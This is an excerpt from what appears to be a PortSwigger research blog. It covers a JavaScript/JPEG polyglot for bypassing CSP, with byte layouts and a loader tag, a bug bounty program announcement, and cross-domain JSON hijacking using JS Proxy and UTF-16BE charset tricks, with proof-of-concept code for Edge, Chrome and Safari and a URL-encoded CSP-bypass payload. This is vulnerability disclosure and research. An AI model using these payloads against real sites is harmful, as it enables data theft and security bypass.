We privately reported this issue to TeamDev (the makers of JXBrowser), and they released a patch to support a whitelist of allowed properties/methods using the @JSAccessible annotation. Note that if an application doesn't use the @JSAccessible annotation anywhere the whitelist won't be enforced, and the exploit above will still work.

Enjoy - @garethheyes

Thursday, December 1, 2016

Bypassing CSP using polyglot JPEGs

James challenged me to see if it was possible to create a polyglot JavaScript/JPEG. Doing so would allow me to bypass CSP on almost any website that hosts user-uploaded images on the same domain. I gleefully took up the challenge and begun dissecting the format. The first four bytes are a valid non-ASCII JavaScript variable 0xFF 0xD8 0xFF 0xE0. Then the next two bytes specify the length of the JPEG header. If we make that length of the header 0x2F2A using the bytes 0x2F 0x2A as you might guess we have a non-ASCII variable followed by a multi-line JavaScript comment. We then have to pad out the JPEG header to the length of 0x2F2A with nulls. Here's what it looks like:

FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00 00 00....

Inside a JPEG comment we can close the JavaScript comment and create an assignment for our non-ASCII JavaScript variable followed by our payload, then create another multi-line comment at the end of the JPEG comment.

FF FE 00 1C 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A

0xFF 0xFE is the comment header 0x00 0x1C specifies the length of the comment then the rest is our JavaScript payload which is of course */=alert("Burp rocks.")/*

Next we need to close the JavaScript comment, I edited the last four bytes of the image data before the end of image marker. Here's what the end of the file looks like:

2A 2F 2F 2F FF D9


0xFF 0xD9 is the end of image marker. Great so there is our polyglot JPEG, well not quite yet. It works great if you don't specify a charset but on Firefox when using a UTF-8 character set for the document it corrupts our polyglot when included as an script! On MDN it doesn't state that the script supports the charset attribute but it does. So to get the script to work you need to specify the ISO-8859-1 charset on the script tag and it executes fine.

It's worth noting that the polyglot JPEG works on Safari, Firefox, Edge and IE11. Chrome sensibly does not execute the image as JavaScript.

Here is the polyglot JPEG:
Polyglot JPEG
 
The code to execute the image as JavaScript is as follows:
<script charset="ISO-8859-1" src="http://portswigger-labs.net/polyglot/jpeg/xss.jpg"></script>

File size restrictions 

I attempted to upload this graphic as a phpBB profile picture but it has restrictions in place. There is a 6k file size limit and maximum dimensions of 90x90. I reduced the size of the logo by cropping and thought about how I could reduce the JPEG data. In the JPEG header I use /* which in hex is 0x2F and 0x2A, combined 0x2F2A which results in a length of 12074 which is a lot of padding and will result in a graphic far too big to fit as a profile picture. Looking at the ASCII table I tried to find a combination of characters that would be valid JavaScript and reduce the amount of padding required in the JPEG header whilst still being recognised as a valid JPEG file.

The smallest starting byte I could find was 0x9 (a tab character) followed by 0x3A (a colon) which results in a combined hex value of 0x093A (2362) that shaves a lot of bytes from our file and creates a valid non-ASCII JavaScript label statement, followed by a variable using the JFIF identifier. Then I place a forward slash 0x2F instead of the NULL character at the end of the JFIF identifier and an asterisk as the version number. Here's what the hex looks like:

FF D8 FF E0 09 3A 4A 46 49 46 2F 2A
 
Now we continue the rest of the JPEG header then pad with NULLs and inject our JavaScript payload:

FF D8 FF E0 09 3A 4A 46 49 46 2F 2A 01 01 00 48 00 48 00 00 00 00 00 00 00 ... (padding more nulls) 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A

Here is the smaller graphic:
Polyglot JPEG smaller

Impact

If you allow users to upload JPEGs, these uploads are on the same domain as your app, and your CSP allows script from "self", you can bypass the CSP using a polyglot JPEG by injecting a script and pointing it to that image.

Conclusion

In conclusion if you allow JPEG uploads on your site or indeed any type of file, it's worth placing these assets on a separate domain. When validating a JPEG, you should rewrite the JPEG header to ensure no code is sneaked in there and remove all JPEG comments. Obviously it's also essential that your CSP does not whitelist your image assets domain for script.

This post wouldn't be possible without the excellent work of Ange Albertini. I used his JPEG format graphic extensively to create the polygot JPEG. Jasvir Nagra also inspired me with his blog post about polyglot GIFs.

PoC

Update...

Mozilla are fixing this in Firefox 51

Enjoy - @garethheyes

Wednesday, November 30, 2016

PortSwigger bug bounty program

Today we are pleased to announce our bug bounty program. This covers:
The program is managed on HackerOne, and all reports should be submitted through that platform.

Full details of the program policy are reproduced below. Please read the policy carefully and in full before carrying out any testing or submitting any reports.

Scope

Subdomains of portswigger.net like support.portswigger.net are strictly out of scope. Do not test these.

If you wish to test the Burp Collaborator functionality, please configure your own private Collaborator server and test that.

Vulnerabilities of interest

Here are some examples of vulnerabilities that we could consider to be valid, and rough guidelines as to what kind of payout you can expect:

Critical - $5000

  • SQL injection on portswigger.net
  • Remotely retrieving other users' Burp Collaborator interactions

High - $3000

  • Stored XSS on portswigger.net
  • File path traversal on portswigger.net
  • Complete authentication bypass on portswigger.net
  • A website accessed through Burp Suite can make Burp execute arbitrary code

Medium - $1000

  • A website accessed through Burp Suite can retrieve local files from the user's system
  • A website accessed through Burp Suite can extract data from Burp's sitemap
  • Exploitable reflected XSS on portswigger.net
  • CSRF on significant actions

Any medium severity issue involving unlikely user interaction - $350

  • Reflected XSS that is unexploitable due to CSP
  • A website scanned using Burp Suite can inject JavaScript into reports exported from the scanner as HTML
  • DLL hijacking on the Burp Suite installer, on fully patched Windows 7/8.1/10

Issues not of interest

The following are strictly forbidden and may result in you being barred from the program, the website, or both:
  • Denial of service attacks
  • Physical or social engineering attempts
  • Targeting subdomains of portswigger.net
  • Bruteforcing subdomains
  • Spamming orders
  • Unthrottled automated scanning - please throttle all tools to one request per second.

  • We are not interested in low severity, purely theoretical and best-practice issues. Here are some examples:
    • Denial of service vulnerabilities
    • Headers like Server/X-Powered-By disclosing version information
    • XSS issues in non-current browsers
    • window.opener related issues
    • Unvalidated reports from automated vulnerability scanners
    • CSRF with minimal security implications (logout, etc.)
    • Issues related to email spoofing (eg SPF/DMARC)
    • DNS issues
    • Content spoofing
    • Reports that state that software is out of date or vulnerable without a proof of concept
    • Missing autocomplete attributes
    • Missing cookie flags on non-security sensitive cookies
    • SSL/TLS scan reports (this means output from sites such as SSL Labs)
    • Caching issues
    • Concurrent sessions
    • HPKP / HSTS preloading
    • Implausible bruteforce attacks
    There are a few known issues we consider to be low severity, but may fix eventually:
    • As customer numbers are emailed out in plaintext, users should be encouraged to regenerate them on first login.
    • Generating a new customer number should kill all associated sessions.
    • Invoices, quotations, and receipts can be accessed by anyone who is given the link. This is an intentional design decision to enable sharing (the ability to view someone's invoice without being given the link would be considered a serious vulnerability).
    Some other caveats:
    • The Paypal price can be tampered with but underpayment will result in product non-delivery so this isn't a security issue.
    • We use Content-Security-Policy (CSP) site-wide. This means you will have a hard time doing alert(1). To maximize your payout, see if you can make a payload that will steal some sensitive information.
    • As the makers of Burp Suite, we can assure you that we have already scanned our website with it. Don't waste your bandwidth.
    • Extensions including those in the BApp Store are out of scope.

    What constitutes a vulnerability in Burp Suite?

    The system that Burp Suite runs on is trusted, and every system that can access the Proxy listener is trusted to access the data within Burp. Extensions, configuration files and project files are also trusted. Websites accessed through Burp are untrusted, so anything a website could do to read files off the user's computer, read data out of Burp Suite, or gain remote code execution would be considered a vulnerability. Also, any way to get someone else's Collaborator interactions would be considered a vulnerability. Burp doesn't enforce upstream SSL trust by design, so we're not currently concerned about issues like weak SSL ciphers that would be considered a vulnerability in a web browser. Detection of Burp usage, denial of service vulnerabilities, and license enforcement/obfuscation issues are all out of scope. Please refer to the payout guidelines for some example vulnerabilities.

    Contact

    If you have any questions, you can contact us at support@portswigger.net

    Good luck and have fun!

Friday, November 25, 2016

JSON hijacking for the modern web

Benjamin Dumke-von der Ehe found an interesting way to steal data cross domain. Using JS proxies he was able to create a handler that could steal undefined JavaScript variables. This issue seems to be patched well in Firefox however I found a new way to enable the attack on Edge. Although Edge seems to prevent assignments to window.__proto__ they forgot about Object.setPrototypeOf. Using this method we can overwrite the __proto__ property with a proxied __proto__. Like so:

<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
 has:function(target,name){
  alert(name);
 }
}));
</script>
<script src="external-script-with-undefined-variable"></script>
<!-- script contains: stealme -->
Edge PoC stealing undefined variable

If you include a cross domain script with stealme in, you will see it alerts the value even though it's an undefined variable.

After further testing I found you can achieve the same thing overwriting __proto__.__proto__ which is [object EventTargetPrototype] on edge.

<script>
__proto__.__proto__=new Proxy(__proto__,{
 has:function(target,name){
  alert(name);
 }
});
</script>
<script src="external-script-with-undefined-variable"></script>

Edge PoC stealing undefined variable method 2

Great so we can steal data x-domain but what else can we do? All major browsers support the charset attribute on script, I found that the UTF-16BE charset was particularly interesting. UTF-16BE is a multi-byte charset and so two bytes will actually form one character. If for example your script starts with [" this will be treated as the character 0x5b22 not 0x5b 0x22. 0x5b22 happens to be a valid JavaScript variable =).  Can you see where this is going?

Lets say we have a response from the web server that returns an array literal and we can control some of it. We can make the array literal an undefined JavaScript variable with a UTF-16BE charset and steal it using the technique above. The only caveat is that the resulting characters when combined must form a valid JavaScript variable.

For example let's take a look at the following response:

["supersecret","input here"]

To steal supersecret we need to inject a NULL character followed by two a's, for some reason Edge doesn't treat it as UTF-16BE unless it has those injected characters. Maybe it's doing some sort of charset sniffing or maybe it's truncating the response and the characters after NULL are not a valid JS variable on Edge I'm not sure but in my tests it seems to require a NULL and padded out with some characters.  See below for an example:

<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
    has:function(target,name){
        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

Edge PoC stealing JSON feeds

So we proxy the __proto__ property as before, include the script with a UTF-16BE charset and the response contains a NULL followed by two a's in the second element of the array literal. I then decode the UTF-16BE encoded string by bit shifting by 8 to obtain the first byte and bitwise AND to obtain the second byte. The result is an alert popup of ["supersecret"," as you can see Edge seems to truncate the response after the NULL. Note this attack is fairly limited because many characters when combined do not produce a valid JavaScript variable. However it may be useful to steal small amounts of data.

Stealing JSON feeds in Chrome

It gets worse. Chrome is far more liberal with scripts that have a exotic charset. You don't need to control any of the response in order for Chrome to use the charset. The only requirement is that as before the characters combined together produce a valid JavaScript variable. In order to exploit this "feature" we need another undefined variable leak. At first glance Chrome appears to have prevented overwriting the __proto__  however they forgot how deep the __proto__ goes...

<script> 
__proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
    has:function f(target,name){
        var str = f.caller.toString();
        alert(str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
});
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","abc"] -->
NOTE: This was fixed in Chrome 54
Chrome PoC stealing JSON feeds works in version 53

We go 5 levels deep down the __proto__ chain and overwrite it with our proxy, then what happens next is interesting, although the name argument doesn't contain our undefined variable the caller of our function does! It returns a function with our variable name! Obviously encoded in UTF-16BE, it looks like this:

function 嬢獵灥牳散牥琢Ⱒ慢挢崊

Waaahat? So our variable is leaking in the caller. You have to call the toString method of the function in order to get access to the data otherwise Chrome throws a generic exception. I tried to exploit this further by checking the constructor of the function to see if it returns a different domain (maybe Chrome extension context). When adblock plus was enabled I saw some extension code using this method but was unable to exploit it since it appeared to be just code injecting into the current document.

In my tests I was also able to include xml or HTML data cross domain even with text/html content type which makes this a pretty serious information disclosure. This vulnerability has now been patched in Chrome.

Stealing JSON feeds in Safari

We can also easily do the same thing in the latest version of Safari. We just need to use one less proto and use "name" from the proxy instead of the caller.

<script>
__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
        has:function f(target,name){
            alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
        }
});
</script>

Safari PoC stealing JSON feeds

After further testing I found Safari is vulnerable to the same issue as Edge and only requires __proto__.__proto__.

Hacking JSON feeds without JS proxies

I mentioned that the UTF-16BE charset works in every major browser, how can you hack JSON feeds without JS proxies? First you need to control some of the data and the feed has to be constructed in such a way that it produces a valid JavaScript variable. To get the first part of the JSON feed before your injected data is pretty easy, all you do is output a UTF-16BE encoded string which assigns the non-ASCII variable to a specific value and then loop through the window and check if this value exists then the property name will contain all the JSON feed before your injection. The code looks like this:

=1337;for(i in window)if(window[i]===1337)alert(i)

This code is then encoded as a UTF-16BE string so we actually get the code instead of a non-ASCII variable. In effect this means just padding each character with a NULL. To get the characters after the injected string I simply use the increment operator and make the encoded string after a property of window. Then we call setTimeout and loop through the window again but this time checking for NaN which will have a variable name of our encoded string.  See below:

setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i);}))}catch(e){}}});++window.a

I've wrapped it in a try catch because on IE window.external will throw an exception when checked with isNaN. The whole JSON feed will look like this:

{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.", "UTF-16BE")?>a":"dasfdasdf"}

Hacking JSON feeds without proxies PoC

Bypassing CSP

As you might have noticed a UTF-16BE converted string will also convert new lines to non-ASCII variables, this gives it potential to even bypass CSP! The HTML document will be treated as a JavaScript variable. All we have to do is inject a script with a UTF-16BE charset that injects into itself, has an encoded assignment and payload with a trailing comment. This will bypass a CSP policy that allows scripts to reference same domain (which is the majority of policies).

The HTML document will have to look like this:

<!doctype HTML><html>
<head>
<title>Test</title>
<?php
echo $_GET['x'];
?>
</head>
<body>
</body>
</html>

Notice there is no new line after the doctype, the HTML is constructed in such a way that it is valid JavaScript, the characters after the injection don't matter because we inject a trailing single line JavaScript comment and the new lines are converted too. Note that there is no charset declared in the document, this isn't because the charset matters it's because the quotes and attributes of the meta element will break the JavaScript. The payload looks like this (note the tab is required in order to construct a valid variable)

<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>

Note: This has been patched on later versions of PHP, it defaults to the UTF-8 charset for text/html content type therefore prevents attack. However I've simply added a blank charset to the JSON response so it still works on the lab.

CSP bypass using UTF-16BE PoC

Other charsets

I fuzzed every browser and charset. Edge was pretty useless to fuzz because as mentioned previously does some sort of charset sniffing and if you don't have certain characters in the document it won't use the charset. Chrome was very accommodating especially because the dev tools let you filter the results of console by a regex. I found that the ucs-2 charset allowed you to import XML data as a JS variable but it is even more brittle than the UTF-16BE. Still I managed to get the following XML to import correctly on Chrome.

<root><firstname>Gareth</firstname><surname>a<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i);setTimeout(function(){for(i in window)if(isNaN(window[i]) && typeof window[i]===/number/.source)alert(i);});++window..", "iso-10646-ucs-2")?></surname></root>

The above no longer works in Chrome but I've included it as another example.

UTF-16 and UTF-16LE looked useful too since the output of the script looked like a JavaScript variable but they caused invalid syntax errors when including a doctype, xml or a JSON string. Safari had a few interesting results too but in my tests I couldn't get it produce valid JavaScript. It might be worth exploring further but it will be difficult to fuzz since you'd need to encode the characters in the charset you are testing in order to produce a valid test. I'm sure the browser vendors will be able to do that more effectively.

CSS 

You might think this technique could be applied to CSS and in theory it should, since any HTML will be converted into non-ASCII invalid CSS selector but in reality browsers seem to look at the document to see if there's a doctype header before parsing the CSS with the selected charset and ignore the stylesheet, making a self injected stylesheet fail. Edge, Firefox and IE in standards mode also seem to check the mime type, Chrome says the stylesheet was interpreted but at least in my tests it didn't seem that way.

Mitigation

The charset attacks can be prevented by declaring your charset such as UTF-8 in an HTTP content type header. PHP 5.6 also prevent these attacks by declaring a UTF-8 charset if none is set in the content-type header.

Conclusion

Edge, Safari and Chrome contain bugs that will allow you to read cross domain undeclared variables. You can use different charsets to bypass CSP and steal script data. Even without proxies you can steal data if you can control some of the JSON response.

Update...

I presented this topic at OWASP London and Manchester. You can find the talk and slides below:

OWASP London talk
Slides from OWASP London talk

Update 2...

After discussing stealing multiple undefined variables with @1lastBr3ath he gave me a link to Takeshi Terada's paper which has a code sample that works in earlier versions of Firefox which have been patched. In the code sample it was shown it's possible to steal multiple undefined variables using a get trap. The get trap makes all undefined variables defined with a value and therefore allows you to steal the data. Google and Apple have patched this issue however it still works on Edge.

The code looks like this:

__proto__.__proto__ = new Proxy(__proto__,{
 has:function(target,name){
        alert(name);
        return true;
 },
 get: function(){ return 1}//get trap makes all undefined variables defined
});

PoC

Enjoy - @garethheyes